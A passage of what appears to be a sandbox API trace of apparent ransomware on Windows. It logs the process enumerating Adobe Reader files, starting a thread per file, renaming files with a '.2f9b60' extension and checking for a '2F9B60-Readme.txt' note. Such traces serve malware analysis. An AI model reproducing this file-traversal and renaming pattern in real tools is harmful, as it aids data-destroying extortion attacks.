(in: DestinationString=0x33e2fca8, SourceString="2c12fe359eea939a5d2b0b4b9b4d52ae31cbb313fd19a6a541b3397a299c" | out: DestinationString="2c12fe359eea939a5d2b0b4b9b4d52ae31cbb313fd19a6a541b3397a299c") [0199.952] RtlAnsiStringToUnicodeString (in: DestinationString=0x33e2fc78, SourceString="2c12fe359eea939a5d2b0b4b9b4d52ae31cbb313fd19a6a541b3397a299c", AllocateDestinationString=1 | out: DestinationString="2c12fe359eea939a5d2b0b4b9b4d52ae31cbb313fd19a6a541b3397a299c") returned 0x0 [0199.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d9920 [0199.953] wcscat (in: _Dest=0x431e34e0, _Source="2c12fe359eea939" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939" [0199.953] wcscat (in: _Dest=0x431e34e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939.2f9b60" [0199.953] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939.2f9b60", NtPathName=0x33e2fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2c12fe359eea939.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ec8a0 [0209.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec8a0) returned 1 [0209.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19b90) returned 1 [0209.589] NtQueryInformationFile (in: FileHandle=0x1e28, IoStatusBlock=0x33e2fcb8, FileInformation=0x33e2fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33e2fcb8, FileInformation=0x33e2fcc8) returned 0x0 [0209.589] NtSetInformationFile (FileHandle=0x1e28, IoStatusBlock=0x33e2fcb8, FileInformation=0x33e2fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0218.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e34e0) returned 1 [0218.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9920) returned 1 [0218.213] FlushFileBuffers (hFile=0x1e28) returned 1 [0221.424] CloseHandle (hObject=0x1e28) returned 1 [0223.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bf40 [0223.034] wcscpy (in: _Dest=0x1b85bf40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0223.034] wcscat (in: _Dest=0x1b85bf40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0223.034] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0x20 [0223.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bf40) returned 1 [0223.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d770) returned 1 Thread: id = 2044 os_tid = 0x12e4 [0137.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42060830 [0137.814] wcscpy (in: _Dest=0x42060830, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0137.814] wcscat (in: _Dest=0x42060830, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0137.814] wcscat (in: _Dest=0x42060830, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*" [0137.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd616a0 [0137.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0137.816] wcscmp (_String1=".", _String2=".") returned 0 [0137.816] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.816] wcscmp (_String1="..", _String2=".") returned 1 [0137.817] wcscmp (_String1="..", _String2="..") returned 0 [0137.817] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0137.817] wcscmp (_String1="nppdf32.CAT", _String2=".") returned 1 [0137.817] wcscmp (_String1="nppdf32.CAT", _String2="..") returned 1 [0137.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0xf3680 [0137.817] wcscpy (in: _Dest=0xf3680, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0137.817] wcscat (in: _Dest=0xf3680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0137.817] wcscat (in: _Dest=0xf3680, _Source="nppdf32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" [0150.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0xf3680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df0 [0150.808] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0150.808] wcscmp (_String1="nppdf32.CHS", _String2=".") returned 1 [0150.808] wcscmp (_String1="nppdf32.CHS", _String2="..") returned 1 [0150.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e220 [0150.809] wcscpy (in: _Dest=0x1cf4e220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.809] wcscat (in: _Dest=0x1cf4e220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.809] wcscat (in: _Dest=0x1cf4e220, _Source="nppdf32.CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" [0150.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2228 [0150.810] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0150.810] wcscmp (_String1="nppdf32.CHT", _String2=".") returned 1 [0150.810] wcscmp (_String1="nppdf32.CHT", _String2="..") returned 1 [0150.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dda0 [0150.810] wcscpy (in: _Dest=0x1cf4dda0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.810] wcscat (in: _Dest=0x1cf4dda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.810] wcscat (in: _Dest=0x1cf4dda0, _Source="nppdf32.CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" [0150.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x222c [0150.811] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0150.811] wcscmp (_String1="nppdf32.CZE", _String2=".") returned 1 [0150.811] wcscmp (_String1="nppdf32.CZE", _String2="..") returned 1 [0150.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dc80 [0150.812] wcscpy (in: _Dest=0x1cf4dc80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.812] wcscat (in: _Dest=0x1cf4dc80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.812] wcscat (in: _Dest=0x1cf4dc80, _Source="nppdf32.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" [0150.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2230 [0150.813] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0150.813] wcscmp (_String1="nppdf32.DAN", _String2=".") returned 1 [0150.813] wcscmp (_String1="nppdf32.DAN", _String2="..") returned 1 [0150.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e460 [0150.813] wcscpy (in: _Dest=0x1cf4e460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.813] wcscat (in: _Dest=0x1cf4e460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.813] wcscat (in: _Dest=0x1cf4e460, _Source="nppdf32.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" [0150.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2234 [0150.814] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0150.814] wcscmp (_String1="nppdf32.DEU", _String2=".") returned 1 [0150.814] wcscmp (_String1="nppdf32.DEU", _String2="..") returned 1 [0150.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e190 [0150.815] wcscpy (in: _Dest=0x1cf4e190, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.815] wcscat (in: _Dest=0x1cf4e190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.815] wcscat (in: _Dest=0x1cf4e190, _Source="nppdf32.DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" [0150.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2238 [0150.815] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0150.815] wcscmp (_String1="nppdf32.dll", _String2=".") returned 1 [0150.816] wcscmp (_String1="nppdf32.dll", _String2="..") returned 1 [0150.816] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0150.816] wcscmp (_String1="nppdf32.ESP", _String2=".") returned 1 [0150.816] wcscmp (_String1="nppdf32.ESP", _String2="..") returned 1 [0150.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dec0 [0150.816] wcscpy (in: _Dest=0x1cf4dec0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.816] wcscat (in: _Dest=0x1cf4dec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.816] wcscat (in: _Dest=0x1cf4dec0, _Source="nppdf32.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ESP" [0150.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x223c [0150.817] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0150.817] wcscmp (_String1="nppdf32.EUQ", _String2=".") returned 1 [0150.817] wcscmp (_String1="nppdf32.EUQ", _String2="..") returned 1 [0150.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4da40 [0150.817] wcscpy (in: _Dest=0x1cf4da40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.817] wcscat (in: _Dest=0x1cf4da40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.817] wcscat (in: _Dest=0x1cf4da40, _Source="nppdf32.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" [0150.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4da40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2240 [0150.818] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0150.818] wcscmp (_String1="nppdf32.FRA", _String2=".") returned 1 [0150.819] wcscmp (_String1="nppdf32.FRA", _String2="..") returned 1 [0150.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d9b0 [0150.819] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.819] wcscat (in: _Dest=0x1cf4d9b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.819] wcscat (in: _Dest=0x1cf4d9b0, _Source="nppdf32.FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" [0150.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2244 [0150.820] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0150.820] wcscmp (_String1="nppdf32.HRV", _String2=".") returned 1 [0150.820] wcscmp (_String1="nppdf32.HRV", _String2="..") returned 1 [0150.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d530 [0150.820] wcscpy (in: _Dest=0x1cf4d530, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.820] wcscat (in: _Dest=0x1cf4d530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.820] wcscat (in: _Dest=0x1cf4d530, _Source="nppdf32.HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" [0150.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2248 [0150.821] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0150.821] wcscmp (_String1="nppdf32.HUN", _String2=".") returned 1 [0150.821] wcscmp (_String1="nppdf32.HUN", _String2="..") returned 1 [0150.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b7846d0 [0150.821] wcscpy (in: _Dest=0x1b7846d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0150.822] wcscat (in: _Dest=0x1b7846d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0150.822] wcscat (in: _Dest=0x1b7846d0, _Source="nppdf32.HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" [0150.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7846d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224c [0150.822] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 